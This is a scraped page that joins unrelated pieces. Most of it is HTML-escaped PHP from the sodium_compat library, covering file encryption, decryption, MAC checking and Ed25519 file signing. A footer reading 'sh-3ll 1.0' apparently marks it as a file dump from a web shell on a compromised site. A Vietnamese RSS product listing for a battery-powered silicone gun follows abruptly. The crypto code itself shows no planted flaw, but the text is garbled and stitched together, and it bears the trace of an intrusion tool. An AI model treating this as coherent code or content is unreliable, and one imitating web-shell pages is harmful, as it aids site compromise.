        fwrite($ofp, $cBlock);
        $mlen -= 32;

        /** @var int $iter */
        $iter = 1;

        /** @var int $incr */
        $incr = self::BUFFER_SIZE &gt;&gt; 6;

        /*
         * Set the cursor to the end of the first half-block. All future bytes will
         * generated from salsa20_xor_ic, starting from 1 (second block).
         */
        fseek($ifp, $first32, SEEK_SET);

        while ($mlen &gt; 0) {
            $blockSize = $mlen &gt; self::BUFFER_SIZE
                ? self::BUFFER_SIZE
                : $mlen;
            $plaintext = fread($ifp, $blockSize);
            if (!is_string($plaintext)) {
                throw new SodiumException(&#039;Could not read input file&#039;);
            }
            $cBlock = ParagonIE_Sodium_Core_Salsa20::salsa20_xor_ic(
                $plaintext,
                $realNonce,
                $iter,
                $subkey
            );
            fwrite($ofp, $cBlock, $blockSize);
            $state-&gt;update($cBlock);

            $mlen -= $blockSize;
            $iter += $incr;
        }
        try {
            ParagonIE_Sodium_Compat::memzero($block0);
            ParagonIE_Sodium_Compat::memzero($subkey);
        } catch (SodiumException $ex) {
            $block0 = null;
            $subkey = null;
        }
        $end = self::ftell($ofp);

        /*
         * Write the Poly1305 authentication tag that provides integrity
         * over the ciphertext (encrypt-then-MAC)
         */
        fseek($ofp, $start, SEEK_SET);
        fwrite($ofp, $state-&gt;finish(), ParagonIE_Sodium_Compat::CRYPTO_SECRETBOX_MACBYTES);
        fseek($ofp, $end, SEEK_SET);
        unset($state);

        return true;
    }

    /**
     * Decrypt a file
     *
     * @param resource $ifp
     * @param resource $ofp
     * @param int $mlen
     * @param string $nonce
     * @param string $key
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    protected static function secretbox_decrypt($ifp, $ofp, $mlen, $nonce, $key)
    {
        if (PHP_INT_SIZE === 4) {
            return self::secretbox_decrypt_core32($ifp, $ofp, $mlen, $nonce, $key);
        }
        $tag = fread($ifp, 16);
        if (!is_string($tag)) {
            throw new SodiumException(&#039;Could not read input file&#039;);
        }

        /** @var string $subkey */
        $subkey = ParagonIE_Sodium_Core_HSalsa20::hsalsa20($nonce, $key);

        /** @var string $realNonce */
        $realNonce = ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8);

        /** @var string $block0 */
        $block0 = ParagonIE_Sodium_Core_Salsa20::salsa20(
            64,
            ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8),
            $subkey
        );

        /* Verify the Poly1305 MAC -before- attempting to decrypt! */
        $state = new ParagonIE_Sodium_Core_Poly1305_State(self::substr($block0, 0, 32));
        if (!self::onetimeauth_verify($state, $ifp, $tag, $mlen)) {
            throw new SodiumException(&#039;Invalid MAC&#039;);
        }

        /*
         * Set the cursor to the end of the first half-block. All future bytes will
         * generated from salsa20_xor_ic, starting from 1 (second block).
         */
        $first32 = fread($ifp, 32);
        if (!is_string($first32)) {
            throw new SodiumException(&#039;Could not read input file&#039;);
        }
        $first32len = self::strlen($first32);
        fwrite(
            $ofp,
            self::xorStrings(
                self::substr($block0, 32, $first32len),
                self::substr($first32, 0, $first32len)
            )
        );
        $mlen -= 32;

        /** @var int $iter */
        $iter = 1;

        /** @var int $incr */
        $incr = self::BUFFER_SIZE &gt;&gt; 6;

        /* Decrypts ciphertext, writes to output file. */
        while ($mlen &gt; 0) {
            $blockSize = $mlen &gt; self::BUFFER_SIZE
                ? self::BUFFER_SIZE
                : $mlen;
            $ciphertext = fread($ifp, $blockSize);
            if (!is_string($ciphertext)) {
                throw new SodiumException(&#039;Could not read input file&#039;);
            }
            $pBlock = ParagonIE_Sodium_Core_Salsa20::salsa20_xor_ic(
                $ciphertext,
                $realNonce,
                $iter,
                $subkey
            );
            fwrite($ofp, $pBlock, $blockSize);
            $mlen -= $blockSize;
            $iter += $incr;
        }
        return true;
    }

    /**
     * @param ParagonIE_Sodium_Core_Poly1305_State $state
     * @param resource $ifp
     * @param string $tag
     * @param int $mlen
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    protected static function onetimeauth_verify(
        ParagonIE_Sodium_Core_Poly1305_State $state,
        $ifp,
        $tag = &#039;&#039;,
        $mlen = 0
    ) {
        /** @var int $pos */
        $pos = self::ftell($ifp);

        /** @var int $iter */
        $iter = 1;

        /** @var int $incr */
        $incr = self::BUFFER_SIZE &gt;&gt; 6;

        while ($mlen &gt; 0) {
            $blockSize = $mlen &gt; self::BUFFER_SIZE
                ? self::BUFFER_SIZE
                : $mlen;
            $ciphertext = fread($ifp, $blockSize);
            if (!is_string($ciphertext)) {
                throw new SodiumException(&#039;Could not read input file&#039;);
            }
            $state-&gt;update($ciphertext);
            $mlen -= $blockSize;
            $iter += $incr;
        }
        $res = ParagonIE_Sodium_Core_Util::verify_16($tag, $state-&gt;finish());

        fseek($ifp, $pos, SEEK_SET);
        return $res;
    }

    /**
     * Update a hash context with the contents of a file, without
     * loading the entire file into memory.
     *
     * @param resource|HashContext $hash
     * @param resource $fp
     * @param int $size
     * @return resource|object Resource on PHP &lt; 7.2, HashContext object on PHP &gt;= 7.2
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress PossiblyInvalidArgument
     *                 PHP 7.2 changes from a resource to an object,
     *                 which causes Psalm to complain about an error.
     * @psalm-suppress TypeCoercion
     *                 Ditto.
     */
    public static function updateHashWithFile($hash, $fp, $size = 0)
    {
        /* Type checks: */
        if (PHP_VERSION_ID &lt; 70200) {
            if (!is_resource($hash)) {
                throw new TypeError(&#039;Argument 1 must be a resource, &#039; . gettype($hash) . &#039; given.&#039;);
            }
        } else {
            if (!is_object($hash)) {
                throw new TypeError(&#039;Argument 1 must be an object (PHP 7.2+), &#039; . gettype($hash) . &#039; given.&#039;);
            }
        }

        if (!is_resource($fp)) {
            throw new TypeError(&#039;Argument 2 must be a resource, &#039; . gettype($fp) . &#039; given.&#039;);
        }
        if (!is_int($size)) {
            throw new TypeError(&#039;Argument 3 must be an integer, &#039; . gettype($size) . &#039; given.&#039;);
        }

        /** @var int $originalPosition */
        $originalPosition = self::ftell($fp);

        // Move file pointer to beginning of file
        fseek($fp, 0, SEEK_SET);
        for ($i = 0; $i &lt; $size; $i += self::BUFFER_SIZE) {
            /** @var string|bool $message */
            $message = fread(
                $fp,
                ($size - $i) &gt; self::BUFFER_SIZE
                    ? $size - $i
                    : self::BUFFER_SIZE
            );
            if (!is_string($message)) {
                throw new SodiumException(&#039;Unexpected error reading from file.&#039;);
            }
            /** @var string $message */
            /** @psalm-suppress InvalidArgument */
            self::hash_update($hash, $message);
        }
        // Reset file pointer&#039;s position
        fseek($fp, $originalPosition, SEEK_SET);
        return $hash;
    }

    /**
     * Sign a file (rather than a string). Uses less memory than
     * ParagonIE_Sodium_Compat::crypto_sign_detached(), but produces
     * the same result. (32-bit)
     *
     * @param string $filePath  Absolute path to a file on the filesystem
     * @param string $secretKey Secret signing key
     *
     * @return string           Ed25519 signature
     * @throws SodiumException
     * @throws TypeError
     */
    private static function sign_core32($filePath, $secretKey)
    {
        $size = filesize($filePath);
        if (!is_int($size)) {
            throw new SodiumException(&#039;Could not obtain the file size&#039;);
        }

        $fp = fopen($filePath, &#039;rb&#039;);
        if (!is_resource($fp)) {
            throw new SodiumException(&#039;Could not open input file for reading&#039;);
        }

        /** @var string $az */
        $az = hash(&#039;sha512&#039;, self::substr($secretKey, 0, 32), true);

        $az[0] = self::intToChr(self::chrToInt($az[0]) &amp; 248);
        $az[31] = self::intToChr((self::chrToInt($az[31]) &amp; 63) | 64);

        $hs = hash_init(&#039;sha512&#039;);
        self::hash_update($hs, self::substr($az, 32, 32));
        /** @var resource $hs */
        $hs = self::updateHashWithFile($hs, $fp, $size);

        $nonceHash = hash_final($hs, true);
        $pk = self::substr($secretKey, 32, 32);
        $nonce = ParagonIE_Sodium_Core32_Ed25519::sc_reduce($nonceHash) . self::substr($nonceHash, 32);
        $sig = ParagonIE_Sodium_Core32_Ed25519::ge_p3_tobytes(
            ParagonIE_Sodium_Core32_Ed25519::ge_scalarmult_base($nonce)
        );

        $hs = hash_init(&#039;sha512&#039;);
        self::hash_update($hs, self::substr($sig, 0, 32));
        self::hash_update($hs, self::substr($pk, 0, 32));
        /** @var resource $hs */
        $hs = self::updateHashWithFile($hs, $fp, $size);

        $hramHash = hash_final($hs, true);

        $hram = ParagonIE_Sodium_Core32_Ed25519::sc_reduce($hramHash);

        $sigAfter = ParagonIE_Sodium_Core32_Ed25519::sc_muladd($hram, $az, $nonce);

        /** @var string $sig */
        $sig = self::substr($sig, 0, 32) . self::substr($sigAfter, 0, 32);

        try {
            ParagonIE_Sodium_Compat::memzero($az);
        } catch (SodiumException $ex) {
            $az = null;
        }
        fclose($fp);
        return $sig;
    }

    /**
     *
     * Verify a file (rather than a string). Uses less memory than
     * ParagonIE_Sodium_Compat::crypto_sign_verify_detached(), but
     * produces the same result. (32-bit)
     *
     * @param string $sig       Ed25519 signature
     * @param string $filePath  Absolute path to a file on the filesystem
     * @param string $publicKey Signing public key
     *
     * @return bool
     * @throws SodiumException
     * @throws Exception
     */
    public static function verify_core32($sig, $filePath, $publicKey)
    {
        /* Security checks */
        if (ParagonIE_Sodium_Core32_Ed25519::check_S_lt_L(self::substr($sig, 32, 32))) {
            throw new SodiumException(&#039;S &lt; L - Invalid signature&#039;);
        }
        if (ParagonIE_Sodium_Core32_Ed25519::small_order($sig)) {
            throw new SodiumException(&#039;Signature is on too small of an order&#039;);
        }

        if ((self::chrToInt($sig[63]) &amp; 224) !== 0) {
            throw new SodiumException(&#039;Invalid signature&#039;);
        }
        $d = 0;
        for ($i = 0; $i &lt; 32; ++$i) {
            $d |= self::chrToInt($publicKey[$i]);
        }
        if ($d === 0) {
            throw new SodiumException(&#039;All zero public key&#039;);
        }

        /** @var int|bool $size */
        $size = filesize($filePath);
        if (!is_int($size)) {
            throw new SodiumException(&#039;Could not obtain the file size&#039;);
        }
        /** @var int $size */

        /** @var resource|bool $fp */
        $fp = fopen($filePath, &#039;rb&#039;);
        if (!is_resource($fp)) {
            throw new SodiumException(&#039;Could not open input file for reading&#039;);
        }
        /** @var resource $fp */

        /** @var bool The original value of ParagonIE_Sodium_Compat::$fastMult */
        $orig = ParagonIE_Sodium_Compat::$fastMult;

        // Set ParagonIE_Sodium_Compat::$fastMult to true to speed up verification.
        ParagonIE_Sodium_Compat::$fastMult = true;

        /** @var ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $A */
        $A = ParagonIE_Sodium_Core32_Ed25519::ge_frombytes_negate_vartime($publicKey);

        $hs = hash_init(&#039;sha512&#039;);
        self::hash_update($hs, self::substr($sig, 0, 32));
        self::hash_update($hs, self::substr($publicKey, 0, 32));
        /** @var resource $hs */
        $hs = self::updateHashWithFile($hs, $fp, $size);
        /** @var string $hDigest */
        $hDigest = hash_final($hs, true);

        /** @var string $h */
        $h = ParagonIE_Sodium_Core32_Ed25519::sc_reduce($hDigest) . self::substr($hDigest, 32);

        /** @var ParagonIE_Sodium_Core32_Curve25519_Ge_P2 $R */
        $R = ParagonIE_Sodium_Core32_Ed25519::ge_double_scalarmult_vartime(
            $h,
            $A,
            self::substr($sig, 32)
        );

        /** @var string $rcheck */
        $rcheck = ParagonIE_Sodium_Core32_Ed25519::ge_tobytes($R);

        // Close the file handle
        fclose($fp);

        // Reset ParagonIE_Sodium_Compat::$fastMult to what it was before.
        ParagonIE_Sodium_Compat::$fastMult = $orig;
        return self::verify_32($rcheck, self::substr($sig, 0, 32));
    }

    /**
     * Encrypt a file (32-bit)
     *
     * @param resource $ifp
     * @param resource $ofp
     * @param int $mlen
     * @param string $nonce
     * @param string $key
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    protected static function secretbox_encrypt_core32($ifp, $ofp, $mlen, $nonce, $key)
    {
        $plaintext = fread($ifp, 32);
        if (!is_string($plaintext)) {
            throw new SodiumException(&#039;Could not read input file&#039;);
        }
        $first32 = self::ftell($ifp);

        /** @var string $subkey */
        $subkey = ParagonIE_Sodium_Core32_HSalsa20::hsalsa20($nonce, $key);

        /** @var string $realNonce */
        $realNonce = ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8);

        /** @var string $block0 */
        $block0 = str_repeat(&quot;\x00&quot;, 32);

        /** @var int $mlen - Length of the plaintext message */
        $mlen0 = $mlen;
        if ($mlen0 &gt; 64 - ParagonIE_Sodium_Crypto::secretbox_xsalsa20poly1305_ZEROBYTES) {
            $mlen0 = 64 - ParagonIE_Sodium_Crypto::secretbox_xsalsa20poly1305_ZEROBYTES;
        }
        $block0 .= ParagonIE_Sodium_Core32_Util::substr($plaintext, 0, $mlen0);

        /** @var string $block0 */
        $block0 = ParagonIE_Sodium_Core32_Salsa20::salsa20_xor(
            $block0,
            $realNonce,
            $subkey
        );

        $state = new ParagonIE_Sodium_Core32_Poly1305_State(
            ParagonIE_Sodium_Core32_Util::substr(
                $block0,
                0,
                ParagonIE_Sodium_Crypto::onetimeauth_poly1305_KEYBYTES
            )
        );

        // Pre-write 16 blank bytes for the Poly1305 tag
        $start = self::ftell($ofp);
        fwrite($ofp, str_repeat(&quot;\x00&quot;, 16));

        /** @var string $c */
        $cBlock = ParagonIE_Sodium_Core32_Util::substr(
            $block0,
            ParagonIE_Sodium_Crypto::secretbox_xsalsa20poly1305_ZEROBYTES
        );
        $state-&gt;update($cBlock);
        fwrite($ofp, $cBlock);
        $mlen -= 32;

        /** @var int $iter */
        $iter = 1;

        /** @var int $incr */
        $incr = self::BUFFER_SIZE &gt;&gt; 6;

        /*
         * Set the cursor to the end of the first half-block. All future bytes will
         * generated from salsa20_xor_ic, starting from 1 (second block).
         */
        fseek($ifp, $first32, SEEK_SET);

        while ($mlen &gt; 0) {
            $blockSize = $mlen &gt; self::BUFFER_SIZE
                ? self::BUFFER_SIZE
                : $mlen;
            $plaintext = fread($ifp, $blockSize);
            if (!is_string($plaintext)) {
                throw new SodiumException(&#039;Could not read input file&#039;);
            }
            $cBlock = ParagonIE_Sodium_Core32_Salsa20::salsa20_xor_ic(
                $plaintext,
                $realNonce,
                $iter,
                $subkey
            );
            fwrite($ofp, $cBlock, $blockSize);
            $state-&gt;update($cBlock);

            $mlen -= $blockSize;
            $iter += $incr;
        }
        try {
            ParagonIE_Sodium_Compat::memzero($block0);
            ParagonIE_Sodium_Compat::memzero($subkey);
        } catch (SodiumException $ex) {
            $block0 = null;
            $subkey = null;
        }
        $end = self::ftell($ofp);

        /*
         * Write the Poly1305 authentication tag that provides integrity
         * over the ciphertext (encrypt-then-MAC)
         */
        fseek($ofp, $start, SEEK_SET);
        fwrite($ofp, $state-&gt;finish(), ParagonIE_Sodium_Compat::CRYPTO_SECRETBOX_MACBYTES);
        fseek($ofp, $end, SEEK_SET);
        unset($state);

        return true;
    }

    /**
     * Decrypt a file (32-bit)
     *
     * @param resource $ifp
     * @param resource $ofp
     * @param int $mlen
     * @param string $nonce
     * @param string $key
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    protected static function secretbox_decrypt_core32($ifp, $ofp, $mlen, $nonce, $key)
    {
        $tag = fread($ifp, 16);
        if (!is_string($tag)) {
            throw new SodiumException(&#039;Could not read input file&#039;);
        }

        /** @var string $subkey */
        $subkey = ParagonIE_Sodium_Core32_HSalsa20::hsalsa20($nonce, $key);

        /** @var string $realNonce */
        $realNonce = ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8);

        /** @var string $block0 */
        $block0 = ParagonIE_Sodium_Core32_Salsa20::salsa20(
            64,
            ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8),
            $subkey
        );

        /* Verify the Poly1305 MAC -before- attempting to decrypt! */
        $state = new ParagonIE_Sodium_Core32_Poly1305_State(self::substr($block0, 0, 32));
        if (!self::onetimeauth_verify_core32($state, $ifp, $tag, $mlen)) {
            throw new SodiumException(&#039;Invalid MAC&#039;);
        }

        /*
         * Set the cursor to the end of the first half-block. All future bytes will
         * generated from salsa20_xor_ic, starting from 1 (second block).
         */
        $first32 = fread($ifp, 32);
        if (!is_string($first32)) {
            throw new SodiumException(&#039;Could not read input file&#039;);
        }
        $first32len = self::strlen($first32);
        fwrite(
            $ofp,
            self::xorStrings(
                self::substr($block0, 32, $first32len),
                self::substr($first32, 0, $first32len)
            )
        );
        $mlen -= 32;

        /** @var int $iter */
        $iter = 1;

        /** @var int $incr */
        $incr = self::BUFFER_SIZE &gt;&gt; 6;

        /* Decrypts ciphertext, writes to output file. */
        while ($mlen &gt; 0) {
            $blockSize = $mlen &gt; self::BUFFER_SIZE
                ? self::BUFFER_SIZE
                : $mlen;
            $ciphertext = fread($ifp, $blockSize);
            if (!is_string($ciphertext)) {
                throw new SodiumException(&#039;Could not read input file&#039;);
            }
            $pBlock = ParagonIE_Sodium_Core32_Salsa20::salsa20_xor_ic(
                $ciphertext,
                $realNonce,
                $iter,
                $subkey
            );
            fwrite($ofp, $pBlock, $blockSize);
            $mlen -= $blockSize;
            $iter += $incr;
        }
        return true;
    }

    /**
     * One-time message authentication for 32-bit systems
     *
     * @param ParagonIE_Sodium_Core32_Poly1305_State $state
     * @param resource $ifp
     * @param string $tag
     * @param int $mlen
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    protected static function onetimeauth_verify_core32(
        ParagonIE_Sodium_Core32_Poly1305_State $state,
        $ifp,
        $tag = &#039;&#039;,
        $mlen = 0
    ) {
        /** @var int $pos */
        $pos = self::ftell($ifp);

        while ($mlen &gt; 0) {
            $blockSize = $mlen &gt; self::BUFFER_SIZE
                ? self::BUFFER_SIZE
                : $mlen;
            $ciphertext = fread($ifp, $blockSize);
            if (!is_string($ciphertext)) {
                throw new SodiumException(&#039;Could not read input file&#039;);
            }
            $state-&gt;update($ciphertext);
            $mlen -= $blockSize;
        }
        $res = ParagonIE_Sodium_Core32_Util::verify_16($tag, $state-&gt;finish());

        fseek($ifp, $pos, SEEK_SET);
        return $res;
    }

    /**
     * @param resource $resource
     * @return int
     * @throws SodiumException
     */
    private static function ftell($resource)
    {
        $return = ftell($resource);
        if (!is_int($return)) {
            throw new SodiumException(&#039;ftell() returned false&#039;);
        }
        return (int) $return;
    }
}
</pre></td></tr><center><br>sh-3ll <font color="green">1.0</font></center></body><?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
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		<title>Súng bắn silicon dùng pin KDPJ02-12 (TYPE-EM)</title>
		<link>https://dienmaychuyennghiep.com/san-pham/sung-ban-silicon-dung-pin-kdpj02-12-type-em/</link>
					<comments>https://dienmaychuyennghiep.com/san-pham/sung-ban-silicon-dung-pin-kdpj02-12-type-em/#respond</comments>
		
		<dc:creator><![CDATA[Diệp Nguyễn]]></dc:creator>
		<pubDate>Wed, 10 Sep 2025 02:40:20 +0000</pubDate>
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					<description><![CDATA[<strong>Thương Hiệu : DCK</strong>

<strong>Mã Sản Phẩm : <b>KDPJ02-12 (TYPE-EM)</b></strong>

<strong>Xuất Sứ : Trung Quốc</strong>]]></description>
										<content:encoded><![CDATA[<p style="text-align: center;"><span style="font-size: 170%;">SÚNG BẮN SILICON DÙNG PIN KDPJ02-12 (TYPE-EM)</span></p>
<p><img fetchpriority="high" decoding="async" class="aligncenter wp-image-8089 size-full" src="https://dienmaychuyennghiep.com/wp-content/uploads/2025/09/sung-ban-silicon-dung-pin-li-ion-kdpj02-12-type-em-dck-12v.jpg.webp" alt="" width="550" height="550" srcset="https://dienmaychuyennghiep.com/wp-content/uploads/2025/09/sung-ban-silicon-dung-pin-li-ion-kdpj02-12-type-em-dck-12v.jpg.webp 550w, https://dienmaychuyennghiep.com/wp-content/uploads/2025/09/sung-ban-silicon-dung-pin-li-ion-kdpj02-12-type-em-dck-12v.jpg-400x400.webp 400w, https://dienmaychuyennghiep.com/wp-content/uploads/2025/09/sung-ban-silicon-dung-pin-li-ion-kdpj02-12-type-em-dck-12v.jpg-280x280.webp 280w, https://dienmaychuyennghiep.com/wp-content/uploads/2025/09/sung-ban-silicon-dung-pin-li-ion-kdpj02-12-type-em-dck-12v.jpg-510x510.webp 510w, https://dienmaychuyennghiep.com/wp-content/uploads/2025/09/sung-ban-silicon-dung-pin-li-ion-kdpj02-12-type-em-dck-12v.jpg-100x100.webp 100w" sizes="(max-width: 550px) 100vw, 550px" /></p>
<p><b>Công ty Cổ phần Điện máy Chuyên nghiệp</b> tự hào giới thiệu đến quý khách hàng sản phẩm <b>SÚNG BẮN SILICON DÙNG PIN DCK KDPJ02-12 (TYPE-EM)</b> &#8211; một công cụ điện cầm tay đa năng, được thiết kế và sản xuất theo tiêu chuẩn công nghệ tiên tiến, thường được dùng để bắn keo silicon, keo dán hoặc các loại chất trám trét khác trong các công việc lắp đặt, sửa chữa và xây dựng.</p>
<p><b>SÚNG BẮN SILICON DÙNG PIN DCK KDPJ02-12 (TYPE-EM)</b></p>
<p><b>Đặc điểm</b></p>
<ul>
<li>Sử dụng pin Li-ion 12V, mang lại sự linh hoạt tối đa, không phụ thuộc vào nguồn điện.</li>
<li>Thiết kế nhỏ gọn, trọng lượng nhẹ, dễ dàng thao tác trong không gian hẹp và trên cao.</li>
<li>Có đèn LED chiếu sáng, giúp làm việc hiệu quả ngay cả trong môi trường thiếu sáng.</li>
<li>Tốc độ bắn keo có thể điều chỉnh, giúp kiểm soát lượng keo bắn ra chính xác.</li>
<li>Tay cầm bọc cao su chống trượt, mang lại cảm giác thoải mái và chắc chắn khi thao tác.</li>
<li>Lực đẩy mạnh mẽ, giúp bắn keo nhanh chóng và đều.</li>
</ul>
<p><b>Ưu điểm nổi bật</b></p>
<ul>
<li>Bắn keo nhanh chóng, chính xác, tiết kiệm thời gian và công sức so với bắn keo thủ công.</li>
<li>Tiện lợi, không cần dây điện rườm rà, dễ dàng di chuyển và sử dụng.</li>
<li>Vận hành ổn định, độ bền cao, ít hỏng hóc.</li>
<li>Thao tác đơn giản, phù hợp cho cả thợ chuyên nghiệp và người dùng gia đình.</li>
<li>Đường keo bắn ra gọn, đẹp, tăng tính thẩm mỹ cho công trình.</li>
</ul>
<p><b>Thông số kỹ thuật</b></p>
<ul>
<li>Điện thế pin: 12V</li>
<li>Tốc độ không tải: 2.0-8.5 mm/s</li>
<li>Lực đẩy tối đa: 1.000 N</li>
<li>Nguồn điện: Pin Li-ion</li>
<li>Trọng lượng: Khoảng 1.1kg</li>
<li>Loại máy: Bắn silicon dùng pin</li>
</ul>
<p><b>Ứng dụng</b></p>
<ul>
<li>Bắn keo silicon để trám trét các khe hở, mối nối trong xây dựng.</li>
<li>Sử dụng để dán kính, dán gạch, dán gỗ trong trang trí nội thất.</li>
<li>Thích hợp cho thợ xây dựng, thợ nhôm kính, thợ sửa chữa và các dự án DIY.</li>
</ul>
<p><b>Công ty Cổ phần Điện máy Chuyên nghiệp</b> cam kết cung cấp sản phẩm <b>SÚNG BẮN SILICON DÙNG PIN DCK KDPJ02-12 (TYPE-EM)</b> chính hãng, nguyên bản với chất lượng tốt nhất và giá cả cạnh tranh. Chúng tôi còn cung cấp dịch vụ tư vấn, bảo hành và sửa chữa chuyên nghiệp, đảm bảo mang đến sự hài lòng cho quý khách hàng.</p>
<p><b>Liên hệ ngay với chúng tôi để được tư vấn và đặt mua sản phẩm:</b></p>
<p><b>Công ty Cổ phần Điện máy Chuyên nghiệp</b></p>
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